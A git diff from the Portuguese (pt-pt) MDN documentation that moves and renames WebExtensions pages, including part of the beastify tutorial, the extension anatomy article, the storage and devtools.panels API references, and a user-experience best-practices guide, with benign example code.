-      browser.tabs.query({active: true, currentWindow: true})
-        .then(beastify)
-        .catch(reportError);
-    }
-    else if (e.target.classList.contains("reset")) {
-      browser.tabs.query({active: true, currentWindow: true})
-        .then(reset)
-        .catch(reportError);
-    }
-  });
-}
-
-/**
- * There was an error executing the script.
- * Display the popup's error message, and hide the normal UI.
- */
-function reportExecuteScriptError(error) {
-  document.querySelector("#popup-content").classList.add("hidden");
-  document.querySelector("#error-content").classList.remove("hidden");
-  console.error(`Failed to execute beastify content script: ${error.message}`);
-}
-
-/**
- * When the popup loads, inject a content script into the active tab,
- * and add a click handler.
- * If we couldn't inject the script, handle the error.
- */
-browser.tabs.executeScript({file: "/content_scripts/beastify.js"})
-.then(listenForClicks)
-.catch(reportExecuteScriptError);
-
-
- -

The place to start here is line 96. The popup script executes a content script in the active tab as soon as the popup is loaded, using the browser.tabs.executeScript() API. If executing the content script is successful, then the content script will stay loaded in the page until the tab is closed or the user navigates to a different page.

- -

A common reason the browser.tabs.executeScript() call might fail is that you can't execute content scripts in all pages. For example, you can't execute them in privileged browser pages like about:debugging, and you can't execute them on pages in the addons.mozilla.org domain. If it does fail, reportExecuteScriptError() will hide the "popup-content" <div>, show the "error-content" <div>, and log an error to the console.

- -

If executing the content script is successful, we call listenForClicks(). This listens for clicks on the popup.

- - - -

The beastify() function does three things:

- - - -

The reset() function essentially undoes a beastify:

- - - -

O script de conteúdo

- -

Create a new directory, under the extension root, called "content_scripts" and create a new file in it called "beastify.js", with the following contents:

- -
(function() {
-  /**
-   * Check and set a global guard variable.
-   * If this content script is injected into the same page again,
-   * it will do nothing next time.
-   */
-  if (window.hasRun) {
-    return;
-  }
-  window.hasRun = true;
-
-  /**
-   * Given a URL to a beast image, remove all existing beasts, then
-   * create and style an IMG node pointing to
-   * that image, then insert the node into the document.
-   */
-  function insertBeast(beastURL) {
-    removeExistingBeasts();
-    let beastImage = document.createElement("img");
-    beastImage.setAttribute("src", beastURL);
-    beastImage.style.height = "100vh";
-    beastImage.className = "beastify-image";
-    document.body.appendChild(beastImage);
-  }
-
-  /**
-   * Remove every beast from the page.
-   */
-  function removeExistingBeasts() {
-    let existingBeasts = document.querySelectorAll(".beastify-image");
-    for (let beast of existingBeasts) {
-      beast.remove();
-    }
-  }
-
-  /**
-   * Listen for messages from the background script.
-   * Call "beastify()" or "reset()".
-  */
-  browser.runtime.onMessage.addListener((message) => {
-    if (message.command === "beastify") {
-      insertBeast(message.beastURL);
-    } else if (message.command === "reset") {
-      removeExistingBeasts();
-    }
-  });
-
-})();
-
- -

The first thing the content script does is to check for a global variable window.hasRun: if it's set the script returns early, otherwise it sets window.hasRun and continues. The reason we do this is that every time the user opens the popup, the popup executes a content script in the active tab, so we could have multiple instances of the script running in a single tab. If this happens, we need to make sure that only the first instance is actually going to do anything.

- -

After that, the place to start is line 40, where the content script listens for messages from the popup, using the browser.runtime.onMessage API. We saw above that the popup script can send two different sorts of messages: "beastify" and "reset".

- - - -

As feras

- -

Finally, we need to include the images of the beasts.

- -

Create a new directory called "beasts", and add the three images in that directory, with the appropriate names. You can get the images from the GitHub repository, or from here:

- -

- -

Testar a extensão

- -

First, double check that you have the right files in the right places:

- -
beastify/
-
-    beasts/
-        frog.jpg
-        snake.jpg
-        turtle.jpg
-
-    content_scripts/
-        beastify.js
-
-    icons/
-        beasts-32.png
-        beasts-48.png
-
-    popup/
-        choose_beast.css
-        choose_beast.html
-        choose_beast.js
-
-    manifest.json
- -

Starting in Firefox 45, you can install extensions temporarily from disk.

- -

Open "about:debugging" in Firefox, click "Load Temporary Add-on", and select your manifest.json file. You should then see the extension's icon appear in the Firefox toolbar:

- -

{{EmbedYouTube("sAM78GU4P34")}}

- -

Open a web page, then click the icon, select a beast, and see the web page change:

- -

{{EmbedYouTube("YMQXyAQSiE8")}}

- -

Programae a partir da linha de comando

- -

Pode automatizar o passo da instalação temporária utilizando a ferramenta web-ext. Experimente isto:

- -
cd beastify
-web-ext run
-
diff --git a/files/pt-pt/mozilla/add-ons/webextensions/anatomia_de_uma_extensao/index.html b/files/pt-pt/mozilla/add-ons/webextensions/anatomia_de_uma_extensao/index.html deleted file mode 100644 index ecad403ae1..0000000000 --- a/files/pt-pt/mozilla/add-ons/webextensions/anatomia_de_uma_extensao/index.html +++ /dev/null @@ -1,135 +0,0 @@ ---- -title: Anatomia de uma extensão -slug: Mozilla/Add-ons/WebExtensions/Anatomia_de_uma_extensao -tags: - - Extensões da Web -translation_of: Mozilla/Add-ons/WebExtensions/Anatomy_of_a_WebExtension ---- -
{{AddonSidebar}}
- -

Uma extensão consiste numa coleção de ficheiros, empacotados para distribuição e instalação. Neste artigo, nós passaremos rapidamente pelos ficheiros que podem estar presentes numa extensão.

- -

manifest.json

- -

This is the only file that must be present in every extension. It contains basic metadata such as its name, version and the permissions it requires. It also provides pointers to other files in the extension.

- -

This manifest can also contain pointers to several other types of files:

- - - -

- -

See the manifest.json reference page for all the details.

- -

Other than those referenced from the manifest, an extension can include additional Extension pages with supporting files.

- -

Scripts de fundo (segundo plano)

- -

Extensions often need to maintain long-term state or perform long-term operations independently of the lifetime of any particular web page or browser window. That is what background scripts are for.

- -

Background scripts are loaded as soon as the extension is loaded and stay loaded until the extension is disabled or uninstalled. You can use any of the WebExtension APIs in the script, as long as you have requested the necessary permissions.

- -

Especificar os scripts de fundo

- -

You can include a background script using the background key in "manifest.json":

- -
// manifest.json
-
-"background": {
-  "scripts": ["background-script.js"]
-}
- -

You can specify multiple background scripts: if you do, they run in the same context, just like multiple scripts that are loaded into a single web page.

- -

Ambiente de script de fundo

- -

APIS de DOM

- -

Background scripts run in the context of special pages called background pages. This gives them a window global, along with all the standard DOM APIs provided by that object.

- -

You do not have to supply your background page. If you include a background script, an empty background page will be created for you.

- -

However, you can choose to supply your background page as a separate HTML file:

- -
// manifest.json
-
-"background": {
-  "page": "background-page.html"
-}
- -

APIs da Extensão da Web

- -

Background scripts can use any of the WebExtension APIs in the script, as long as their extension has the necessary permissions.

- -

Acesso cruzado da origem

- -

Background scripts can make XHR requests to any hosts for which they have host permissions.

- -

Conteúdo da Web

- -

Background scripts do not get direct access to web pages. However, they can load content scripts into web pages and can communicate with these content scripts using a message-passing API.

- -

Política de segurança do conteúdo

- -

Background scripts are restricted from certain potentially dangerous operations, like the use of eval(), through a Content Security Policy. See Content Security Policy for more details on this.

- -

Barras laterais, janelas (popups), opções de páginas

- -

A sua extensão pode inclur vários componentes da interface do utilizador cujo conteúdo é definido utilizando um documento HTML:

- - - -

For each of these components, you create an HTML file and point to it using a specific property in manifest.json. The HTML file can include CSS and JavaScript files, just like a normal web page.

- -

All of these are a type of Extension pages, and unlike a normal web page, your JavaScript can use all the same privileged WebExtension APIs as your background script. They can even directly access variables in the background page using {{WebExtAPIRef("runtime.getBackgroundPage()")}}.

- -

Páginas de extensão

- -

You can also include HTML documents in your extension which are not attached to some predefined user interface component. Unlike the documents you might provide for sidebars, popups, or options pages, these don't have an entry in manifest.json. However, they do also get access to all the same privileged WebExtension APIs as your background script.

- -

You'd typically load a page like this using {{WebExtAPIRef("windows.create()")}} or {{WebExtAPIRef("tabs.create()")}}.

- -

See Extension pages to learn more.

- -

Scripts de conteúdo

- -

Use content scripts to access and manipulate web pages. Content scripts are loaded into web pages and run in the context of that particular page.

- -

Content scripts are extension-provided scripts which run in the context of a web page; this differs from scripts which are loaded by the page itself, including those which are provided in {{HTMLElement("script")}} elements within the page.

- -

Content scripts can see and manipulate the page's DOM, just like normal scripts loaded by the page.

- -

Unlike normal page scripts, they can:

- - - -

Content scripts cannot directly access normal page scripts but can exchange messages with them using the standard window.postMessage() API.

- -

Usually, when we talk about content scripts, we are referring to JavaScript, but you can inject CSS into web pages using the same mechanism.

- -

See the content scripts article to learn more.

- -

Recursos de acessibilidade da Web

- -

Web accessible resources are resources such as images, HTML, CSS, and JavaScript that you include in the extension and want to make accessible to content scripts and page scripts. Resources which are made web-accessible can be referenced by page scripts and content scripts using a special URI scheme.

- -

For example, if a content script wants to insert some images into web pages, you could include them in the extension and make them web accessible. Then the content script could create and append img tags which reference the images via the src attribute.

- -

To learn more, see the documentation for the web_accessible_resources manifest.json key.

- -

 

- -

 

diff --git a/files/pt-pt/mozilla/add-ons/webextensions/anatomy_of_a_webextension/index.html b/files/pt-pt/mozilla/add-ons/webextensions/anatomy_of_a_webextension/index.html new file mode 100644 index 0000000000..ecad403ae1 --- /dev/null +++ b/files/pt-pt/mozilla/add-ons/webextensions/anatomy_of_a_webextension/index.html @@ -0,0 +1,135 @@ +--- +title: Anatomia de uma extensão +slug: Mozilla/Add-ons/WebExtensions/Anatomia_de_uma_extensao +tags: + - Extensões da Web +translation_of: Mozilla/Add-ons/WebExtensions/Anatomy_of_a_WebExtension +--- +
{{AddonSidebar}}
+ +

Uma extensão consiste numa coleção de ficheiros, empacotados para distribuição e instalação. Neste artigo, nós passaremos rapidamente pelos ficheiros que podem estar presentes numa extensão.

+ +

manifest.json

+ +

This is the only file that must be present in every extension. It contains basic metadata such as its name, version and the permissions it requires. It also provides pointers to other files in the extension.

+ +

This manifest can also contain pointers to several other types of files:

+ + + +

+ +

See the manifest.json reference page for all the details.

+ +

Other than those referenced from the manifest, an extension can include additional Extension pages with supporting files.

+ +

Scripts de fundo (segundo plano)

+ +

Extensions often need to maintain long-term state or perform long-term operations independently of the lifetime of any particular web page or browser window. That is what background scripts are for.

+ +

Background scripts are loaded as soon as the extension is loaded and stay loaded until the extension is disabled or uninstalled. You can use any of the WebExtension APIs in the script, as long as you have requested the necessary permissions.

+ +

Especificar os scripts de fundo

+ +

You can include a background script using the background key in "manifest.json":

+ +
// manifest.json
+
+"background": {
+  "scripts": ["background-script.js"]
+}
+ +

You can specify multiple background scripts: if you do, they run in the same context, just like multiple scripts that are loaded into a single web page.

+ +

Ambiente de script de fundo

+ +

APIS de DOM

+ +

Background scripts run in the context of special pages called background pages. This gives them a window global, along with all the standard DOM APIs provided by that object.

+ +

You do not have to supply your background page. If you include a background script, an empty background page will be created for you.

+ +

However, you can choose to supply your background page as a separate HTML file:

+ +
// manifest.json
+
+"background": {
+  "page": "background-page.html"
+}
+ +

APIs da Extensão da Web

+ +

Background scripts can use any of the WebExtension APIs in the script, as long as their extension has the necessary permissions.

+ +

Acesso cruzado da origem

+ +

Background scripts can make XHR requests to any hosts for which they have host permissions.

+ +

Conteúdo da Web

+ +

Background scripts do not get direct access to web pages. However, they can load content scripts into web pages and can communicate with these content scripts using a message-passing API.

+ +

Política de segurança do conteúdo

+ +

Background scripts are restricted from certain potentially dangerous operations, like the use of eval(), through a Content Security Policy. See Content Security Policy for more details on this.

+ +

Barras laterais, janelas (popups), opções de páginas

+ +

A sua extensão pode inclur vários componentes da interface do utilizador cujo conteúdo é definido utilizando um documento HTML:

+ + + +

For each of these components, you create an HTML file and point to it using a specific property in manifest.json. The HTML file can include CSS and JavaScript files, just like a normal web page.

+ +

All of these are a type of Extension pages, and unlike a normal web page, your JavaScript can use all the same privileged WebExtension APIs as your background script. They can even directly access variables in the background page using {{WebExtAPIRef("runtime.getBackgroundPage()")}}.

+ +

Páginas de extensão

+ +

You can also include HTML documents in your extension which are not attached to some predefined user interface component. Unlike the documents you might provide for sidebars, popups, or options pages, these don't have an entry in manifest.json. However, they do also get access to all the same privileged WebExtension APIs as your background script.

+ +

You'd typically load a page like this using {{WebExtAPIRef("windows.create()")}} or {{WebExtAPIRef("tabs.create()")}}.

+ +

See Extension pages to learn more.

+ +

Scripts de conteúdo

+ +

Use content scripts to access and manipulate web pages. Content scripts are loaded into web pages and run in the context of that particular page.

+ +

Content scripts are extension-provided scripts which run in the context of a web page; this differs from scripts which are loaded by the page itself, including those which are provided in {{HTMLElement("script")}} elements within the page.

+ +

Content scripts can see and manipulate the page's DOM, just like normal scripts loaded by the page.

+ +

Unlike normal page scripts, they can:

+ + + +

Content scripts cannot directly access normal page scripts but can exchange messages with them using the standard window.postMessage() API.

+ +

Usually, when we talk about content scripts, we are referring to JavaScript, but you can inject CSS into web pages using the same mechanism.

+ +

See the content scripts article to learn more.

+ +

Recursos de acessibilidade da Web

+ +

Web accessible resources are resources such as images, HTML, CSS, and JavaScript that you include in the extension and want to make accessible to content scripts and page scripts. Resources which are made web-accessible can be referenced by page scripts and content scripts using a special URI scheme.

+ +

For example, if a content script wants to insert some images into web pages, you could include them in the extension and make them web accessible. Then the content script could create and append img tags which reference the images via the src attribute.

+ +

To learn more, see the documentation for the web_accessible_resources manifest.json key.

+ +

 

+ +

 

diff --git a/files/pt-pt/mozilla/add-ons/webextensions/api/armazenamento/index.html b/files/pt-pt/mozilla/add-ons/webextensions/api/armazenamento/index.html deleted file mode 100644 index d267faf520..0000000000 --- a/files/pt-pt/mozilla/add-ons/webextensions/api/armazenamento/index.html +++ /dev/null @@ -1,105 +0,0 @@ ---- -title: Armazenamento -slug: Mozilla/Add-ons/WebExtensions/API/Armazenamento -tags: - - API - - Armazenamento - - Extensões - - Extensões da Web - - Extras - - Interface - - Não Padrão - - Referencia -translation_of: Mozilla/Add-ons/WebExtensions/API/storage ---- -
{{AddonSidebar}}
- -

Permite que as extensões armazenem e recuperem dados, e escutem as alterações aos itens armazenados.

- -

O sistema de armazenamento é baseado na API de Armazenamento da Web, com algumas diferenças. Entre outras diferençãs, estas incluem:

- - - -

To use this API you need to include the "storage" permission in your manifest.json file.

- -

Each extension has its own storage area, which can be split into different types of storage.

- -

Although this API is similar to {{domxref("Window.localStorage")}} it is recommended that you don't use Window.localStorage in the extension code to store extension-related data. Firefox will clear data stored by extensions using the localStorage API in various scenarios where users clear their browsing history and data for privacy reasons, while data saved using the storage.local API will be correctly persisted in these scenarios.

- -

Tipos

- -
-
{{WebExtAPIRef("storage.StorageArea")}}
-
An object representing a storage area.
-
{{WebExtAPIRef("storage.StorageChange")}}
-
An object representing a change to a storage area.
-
- -

Propriedades

- -

storage has three properties, which represent the different types of available storage area.

- -
-
{{WebExtAPIRef("storage.sync")}}
-
Represents the sync storage area. Items in sync storage are synced by the browser, and are available across all instances of that browser that the user is logged into, across different devices.
-
{{WebExtAPIRef("storage.local")}}
-
Represents the local storage area. Items in local storage are local to the machine the extension was installed on.
-
{{WebExtAPIRef("storage.managed")}}
-
Represents the managed storage area. Items in managed storage are set by the domain administrator and are read-only for the extension. Trying to modify this namespace results in an error.
-
- -

Eventos

- -
-
{{WebExtAPIRef("storage.onChanged")}}
-
Fired when one or more items change in a storage area.
-
- -

Compatibilidade do navegador

- -

{{Compat("webextensions.api.storage")}}

- -

{{WebExtExamples("h2")}}

- -
Reconehcimentos - -

This API is based on Chromium's chrome.storage API. This documentation is derived from storage.json in the Chromium code.

- -

Microsoft Edge compatibility data is supplied by Microsoft Corporation and is included here under the Creative Commons Attribution 3.0 United States License.

-
- - diff --git a/files/pt-pt/mozilla/add-ons/webextensions/api/devtools.panels/index.html b/files/pt-pt/mozilla/add-ons/webextensions/api/devtools.panels/index.html deleted file mode 100644 index ebeb53d591..0000000000 --- a/files/pt-pt/mozilla/add-ons/webextensions/api/devtools.panels/index.html +++ /dev/null @@ -1,103 +0,0 @@ ---- -title: devtools.panels -slug: Mozilla/Add-ons/WebExtensions/API/devtools.panels -tags: - - API - - Extensões - - Extensões da Web - - Extras - - Referencia - - devtools.panels -translation_of: Mozilla/Add-ons/WebExtensions/API/devtools.panels ---- -
{{AddonSidebar}}
- -
-

Embora as APIs sejam baseadas no Chrome devtools APIs, ainda existem muitas funcionalidades que ainda não estão implementadas no Firefox, e por isso, não estão documentadas aqui. Para ver quais as funcionalidades que estão atualmente em falta, por favor, consulte Limitações das APIs de devtools.

-
- -

The devtools.panels API lets a devtools extension define its user interface inside the devtools window.

- -

The devtools window hosts a number of separate tools - the JavaScript Debugger, Network Monitor, and so on. A row of tabs across the top lets the user switch between the different tools. The window hosting each tool's user interface is called a "panel".

- -

With the devtools.panels API you can create new panels in the devtools window.

- -

Like all the devtools APIs, this API is only available to code running in the document defined in the devtools_page manifest.json key, or in other devtools documents created by the extension (such as the panel's own document). See Extending the developer tools for more.

- -

Tipos

- -
-
devtools.panels.ElementsPanel
-
Represents the HTML/CSS inspector in the browser's devtools.
-
devtools.panels.ExtensionPanel
-
Represents a devtools panel created by the extension.
-
devtools.panels.ExtensionSidebarPane
-
Represents a pane that an extension has added to the HTML/CSS inspector in the browser's devtools.
-
- -

Propriedades

- -
-
devtools.panels.elements
-
A reference to an ElementsPanel object.
-
devtools.panels.themeName
-
The name of the current devtools theme.
-
- -

Funções

- -
-
devtools.panels.create()
-
Creates a new devtools panel.
-
- -

Eventos

- -
-
devtools.panels.onThemeChanged
-
Fired when the devtools theme changes.
-
- -

Compatibilidade do navegador

- -

{{Compat("webextensions.api.devtools.panels", 2)}}

- -

{{WebExtExamples("h2")}}

- -
Reconhecimentos - -

This API is based on Chromium's chrome.devtools.panels API.

- -

Microsoft Edge compatibility data is supplied by Microsoft Corporation and is included here under the Creative Commons Attribution 3.0 United States License.

-
- - diff --git a/files/pt-pt/mozilla/add-ons/webextensions/api/devtools/panels/index.html b/files/pt-pt/mozilla/add-ons/webextensions/api/devtools/panels/index.html new file mode 100644 index 0000000000..ebeb53d591 --- /dev/null +++ b/files/pt-pt/mozilla/add-ons/webextensions/api/devtools/panels/index.html @@ -0,0 +1,103 @@ +--- +title: devtools.panels +slug: Mozilla/Add-ons/WebExtensions/API/devtools.panels +tags: + - API + - Extensões + - Extensões da Web + - Extras + - Referencia + - devtools.panels +translation_of: Mozilla/Add-ons/WebExtensions/API/devtools.panels +--- +
{{AddonSidebar}}
+ +
+

Embora as APIs sejam baseadas no Chrome devtools APIs, ainda existem muitas funcionalidades que ainda não estão implementadas no Firefox, e por isso, não estão documentadas aqui. Para ver quais as funcionalidades que estão atualmente em falta, por favor, consulte Limitações das APIs de devtools.

+
+ +

The devtools.panels API lets a devtools extension define its user interface inside the devtools window.

+ +

The devtools window hosts a number of separate tools - the JavaScript Debugger, Network Monitor, and so on. A row of tabs across the top lets the user switch between the different tools. The window hosting each tool's user interface is called a "panel".

+ +

With the devtools.panels API you can create new panels in the devtools window.

+ +

Like all the devtools APIs, this API is only available to code running in the document defined in the devtools_page manifest.json key, or in other devtools documents created by the extension (such as the panel's own document). See Extending the developer tools for more.

+ +

Tipos

+ +
+
devtools.panels.ElementsPanel
+
Represents the HTML/CSS inspector in the browser's devtools.
+
devtools.panels.ExtensionPanel
+
Represents a devtools panel created by the extension.
+
devtools.panels.ExtensionSidebarPane
+
Represents a pane that an extension has added to the HTML/CSS inspector in the browser's devtools.
+
+ +

Propriedades

+ +
+
devtools.panels.elements
+
A reference to an ElementsPanel object.
+
devtools.panels.themeName
+
The name of the current devtools theme.
+
+ +

Funções

+ +
+
devtools.panels.create()
+
Creates a new devtools panel.
+
+ +

Eventos

+ +
+
devtools.panels.onThemeChanged
+
Fired when the devtools theme changes.
+
+ +

Compatibilidade do navegador

+ +

{{Compat("webextensions.api.devtools.panels", 2)}}

+ +

{{WebExtExamples("h2")}}

+ +
Reconhecimentos + +

This API is based on Chromium's chrome.devtools.panels API.

+ +

Microsoft Edge compatibility data is supplied by Microsoft Corporation and is included here under the Creative Commons Attribution 3.0 United States License.

+
+ + diff --git a/files/pt-pt/mozilla/add-ons/webextensions/api/storage/index.html b/files/pt-pt/mozilla/add-ons/webextensions/api/storage/index.html new file mode 100644 index 0000000000..d267faf520 --- /dev/null +++ b/files/pt-pt/mozilla/add-ons/webextensions/api/storage/index.html @@ -0,0 +1,105 @@ +--- +title: Armazenamento +slug: Mozilla/Add-ons/WebExtensions/API/Armazenamento +tags: + - API + - Armazenamento + - Extensões + - Extensões da Web + - Extras + - Interface + - Não Padrão + - Referencia +translation_of: Mozilla/Add-ons/WebExtensions/API/storage +--- +
{{AddonSidebar}}
+ +

Permite que as extensões armazenem e recuperem dados, e escutem as alterações aos itens armazenados.

+ +

O sistema de armazenamento é baseado na API de Armazenamento da Web, com algumas diferenças. Entre outras diferençãs, estas incluem:

+ + + +

To use this API you need to include the "storage" permission in your manifest.json file.

+ +

Each extension has its own storage area, which can be split into different types of storage.

+ +

Although this API is similar to {{domxref("Window.localStorage")}} it is recommended that you don't use Window.localStorage in the extension code to store extension-related data. Firefox will clear data stored by extensions using the localStorage API in various scenarios where users clear their browsing history and data for privacy reasons, while data saved using the storage.local API will be correctly persisted in these scenarios.

+ +

Tipos

+ +
+
{{WebExtAPIRef("storage.StorageArea")}}
+
An object representing a storage area.
+
{{WebExtAPIRef("storage.StorageChange")}}
+
An object representing a change to a storage area.
+
+ +

Propriedades

+ +

storage has three properties, which represent the different types of available storage area.

+ +
+
{{WebExtAPIRef("storage.sync")}}
+
Represents the sync storage area. Items in sync storage are synced by the browser, and are available across all instances of that browser that the user is logged into, across different devices.
+
{{WebExtAPIRef("storage.local")}}
+
Represents the local storage area. Items in local storage are local to the machine the extension was installed on.
+
{{WebExtAPIRef("storage.managed")}}
+
Represents the managed storage area. Items in managed storage are set by the domain administrator and are read-only for the extension. Trying to modify this namespace results in an error.
+
+ +

Eventos

+ +
+
{{WebExtAPIRef("storage.onChanged")}}
+
Fired when one or more items change in a storage area.
+
+ +

Compatibilidade do navegador

+ +

{{Compat("webextensions.api.storage")}}

+ +

{{WebExtExamples("h2")}}

+ +
Reconehcimentos + +

This API is based on Chromium's chrome.storage API. This documentation is derived from storage.json in the Chromium code.

+ +

Microsoft Edge compatibility data is supplied by Microsoft Corporation and is included here under the Creative Commons Attribution 3.0 United States License.

+
+ + diff --git a/files/pt-pt/mozilla/add-ons/webextensions/as_melhores_praticas_de_experiencia_do_utilizador/index.html b/files/pt-pt/mozilla/add-ons/webextensions/as_melhores_praticas_de_experiencia_do_utilizador/index.html deleted file mode 100644 index 0b3aba116e..0000000000 --- a/files/pt-pt/mozilla/add-ons/webextensions/as_melhores_praticas_de_experiencia_do_utilizador/index.html +++ /dev/null @@ -1,159 +0,0 @@ ---- -title: As melhores práticas de experiência do utilizador -slug: >- - Mozilla/Add-ons/WebExtensions/As_melhores_praticas_de_experiencia_do_utilizador -tags: - - Extensões - - Extras - - Guía - - IU - - UX -translation_of: Mozilla/Add-ons/WebExtensions/User_experience_best_practices ---- -
{{AddonSidebar()}}
- -

As melhores extensões do Firefox fornecem aos utilizadores uma nova funcionalidade ou recurso que corresponde a uma necessidade. Ao corresponder a essa necessidade irá ajudar os utilziadores a trabalhar de uma maneira mais inteligente ou eficiente, ou a obter mais prazer com a sua experiência de navegação.

- -

You will also want to make sure your users have a great experience using your extension and as a result give it great feedback and a good rating on addons.mozilla.org (AMO).

- -

Much has been written about what makes software usable. If you are new to the subject, a good place to start is Jakob Nielsen’s Usability Heuristics. We recommend, whether you are new to extension development or a seasoned pro, using Nielsen’s Heuristics as a checklist when testing your user experience (UX).

- -

So, here we discuss much more specific Firefox and browser extension UX features, offering advice and suggestions that will help you build an extension that delights your users.

- -

Seja Firefoxy

- -

Your users have chosen Firefox for a reason, possibly several reasons, so match your extension’s philosophy, features, and look and feel to that of Firefox.

- -

Design values

- -

To best meet the needs of Firefox users, align with the Firefox values.

- -

The Firefox Design Values state that we respect the user's privacy and sovereignty and do not surprise them. We start users with smart defaults on the functionality they want to use and enable them to customize those to their personal preferences so that they are in full control of their experience. We add humor and whimsy to our design and pay attention to details, quality, and performance. Local differences in a global world are important to us, and we help people make sense of the web in clear language.

- -

Apresentação e impressão

- -

To provide your extensions with the best long term fit to Firefox, align with the Firefox Photon Design System. Following Photon will ensure that your extension integrates with the Firefox experience and will make it easier for people to use.

- -

Mantenha-a focada

- -

An extension is best when it is centered around one main use case, addressing that use case as well as possible for the target audience. It should add one function or set of closely related functions to the browser, modify a function of the browser, or modify web pages. Determine if you have achieved this by asking whether you can easily communicate the features and purpose of the extension in three (short) sentences or less.

- -
-

A short summary description of your extension is also very useful when it comes to creating its listing on AMO, see Make sure your summary is just long enough for more details.

-
- -

Comece agora mesmo

- -

Ensure that your extension is ready to be used immediately after installation. It should be optimized for its main use case, and work as expected for most users without the need for customization.

- -

Do not expect your users to read detailed instructions, other content, or ask them to configure the extension to use it. Doing so could mean they never get started with your extension and, if they do, could result in poor reviews.

- -

Dê aos utilizadores o que eles precisam, onde eles precisam

- -

Choosing the right way or combination of ways to make your extension's functionality available to the user can have a significant effect on usability. Asking a few simple questions about your extension’s functionality can quickly guide you to the right choices:

- -

A minha extensão funciona na maioria dos sites da Web e páginas da Web?

- -

If your extension provides the user with features they can use on almost every website or page, give the user access to it from a toolbar button using the browser action. This might include providing access to your image editor or opening a page from your website.

- -

- -

Where you have several features you want to give the user access, you can add a popup to the button.

- -

A minha extensão funciona apenas em alguns sites da Web e páginas?

- -

If your extension offers a feature for a type of web page or specific domains, give the user access to it from an address bar button using a page action. This might include providing access to your RSS reader on pages with RSS feeds or providing an extended feature to pages on your website.

- -

- -

Where you have several features you want to give the user access, you can add a popup to the button.

- -

A minha extensão precisa de mostrar informação ou oferecer ações em paralelo com as páginas da Web?

- -

If your extension includes information or actions that a user would want immediate access to while viewing any web page, use a sidebar. This might include notes the user can make about a page’s content or a feature offering various font substitutions to improve readability.

- -



- -

A minha extensão oferece funcionalidade especifica para o conteúdo da página ou outras funcionalidades do navegador?

- -

If your extension offers features the user might want to access in context, add them to an appropriate context menu. This might include offering access to an image editor on the image context menu or offering extended copy features on the context menu for selected page content.

- -

Example of content menu items added by a WebExtension, from the context-menu-demo example

- -

A minha extensão tem definições que o utilizador pode ajustar?

- -

If your extension enables the user to change and save settings that affect the behavior of the extension, use an options page to provide a standard Preferences link to settings from the Add-on Manager.

- -

Typical preferences button, to access an extension's settings, from the Add-on Manager

- -

A minha extensão precisa de recolher muita informação ou exibir conteúdo em adição aos separadores atuais?

- -

Where your extension needs to gather or display significant amounts of information (more than is suitable for an alert or would benefit from additional formatting) use bundled web pages to deliver forms and similar content.

- -

Example of a simple bundled page displayed as a detached panel.

- -

A minha extensão tenta ajudar o utilizador a entrar as páginas da Web ou conteúdo?

- -

Where your extension includes a use case to locate web pages or content, for example, offering a site specific search, use address bar suggestions to deliver those recommendations.

- -

Example showing the result of the firefox_code_search WebExtension's customization of the address bar suggestions.

- -

A minha extensão oferece ferramentas para os programadores?

- -

Where you are providing tools for developers, add them to the Firefox developer tools using developer tools panels.

- -

Mantenha o utilizador informado

- -

Ensuring the user knows what will happen, is happening, and has happened in your extension is an essential part of building trust and ensuring a happy user.

- -

Diga ao utilizador o que irá acontecer, antes que aconteça

- -

Users should understand what will happen when they click a button. In addition to a meaningful, descriptive button label, provide tooltips that describe the action that the button will perform.

- -
-

Do not put the name of the extension alone in the tooltip, unless it is descriptive of the action the button will perform.

-
- -

Do not use the tooltip for any other types of information such as elaborate statistics about your extension. Keep the tooltip content simple and focused on what will happen when the user clicks the button.

- -

Se é realmente importante e o utilizador afastou-se, notifique-os

- -

If your extension has completed a critical, long running background task, when the task completes use the operating system’s native notifications to update the user. This can be useful where the user may not be focusing on the extension, or the browser, when the process finishes. However, use sparingly. If it is sufficient for the user to discover that a process has completed when they return to the browser or extension, do not use notifications.

- -

- -

Utilizar browserAction badges sparingly

- -

You can add a badge over the toolbar icon of a browserAction, but do so sparingly to inform users about important events. Do not use them to provide regular or persistent status updates.

- -

When it comes to coloring a badge, using one of four colors for notifications of different severity is recommended:

- - - -
-

Use of Firefox colors is suggested, for more details see Firefox Colors. However, for compatibility with Chrome and Opera free color selection is supported.

-
- -

Testar, testar, e depois testar novamente

- -

Testing is a vital part of creating an outstanding UX for your extension. There are two key aspects of testing your UX:

- -
    -
  1. Test across devices and platforms to ensure your extension works and performs well in as many places as possible. This includes considering factors such as the user’s screen size and resolution—just because your extension looks good and is easy to use on your desktop monitor does not mean it looks as good and works as well on a smaller laptop screen, or, indeed, vice versa.
  2. -
  3. Test with as many users as possible. Do not assume that you know your audience, as people’s backgrounds and experience can make a huge difference to how they interact with your extension. So, allow for user testing as part of your extension’s development.
  4. -
- -

Dicas de teste:

- - diff --git a/files/pt-pt/mozilla/add-ons/webextensions/browser_support_for_javascript_apis/index.html b/files/pt-pt/mozilla/add-ons/webextensions/browser_support_for_javascript_apis/index.html new file mode 100644 index 0000000000..e34a4013d3 --- /dev/null +++ b/files/pt-pt/mozilla/add-ons/webextensions/browser_support_for_javascript_apis/index.html @@ -0,0 +1,19 @@ +--- +title: Suporte de navegador para as APIs de JavaScript +slug: Mozilla/Add-ons/WebExtensions/Suporte_navegador_APIs_JavaScript +tags: + - Extensões da Web +translation_of: Mozilla/Add-ons/WebExtensions/Browser_support_for_JavaScript_APIs +--- +

{{AddonSidebar}}

+ +
{{WebExtAllCompatTables}}
+ +
A tabela de compatibilidade nesta página é gerada a partir de dados estruturados. Se quiser contribuir para os dados, verifique por favor, consulte https://github.com/mdn/browser-compat-data e envie-nos um pedido de submissão.
+ +
 
+ +
Agradecimentos + +

Os dados de compatibilidade do Microsoft Edge são fornecidos pela Corporação Microsoft e estão incluídos aqui sob a Licença de Creative Commons Attribution 3.0 - Estado Unidos.

+
diff --git a/files/pt-pt/mozilla/add-ons/webextensions/content_scripts/index.html b/files/pt-pt/mozilla/add-ons/webextensions/content_scripts/index.html new file mode 100644 index 0000000000..51356eed85 --- /dev/null +++ b/files/pt-pt/mozilla/add-ons/webextensions/content_scripts/index.html @@ -0,0 +1,446 @@ +--- +title: Scripts de Conteúdo +slug: Mozilla/Add-ons/WebExtensions/Scripts_Conteudo +tags: + - Extensões da Web +translation_of: Mozilla/Add-ons/WebExtensions/Content_scripts +--- +
{{AddonSidebar}}
+ +

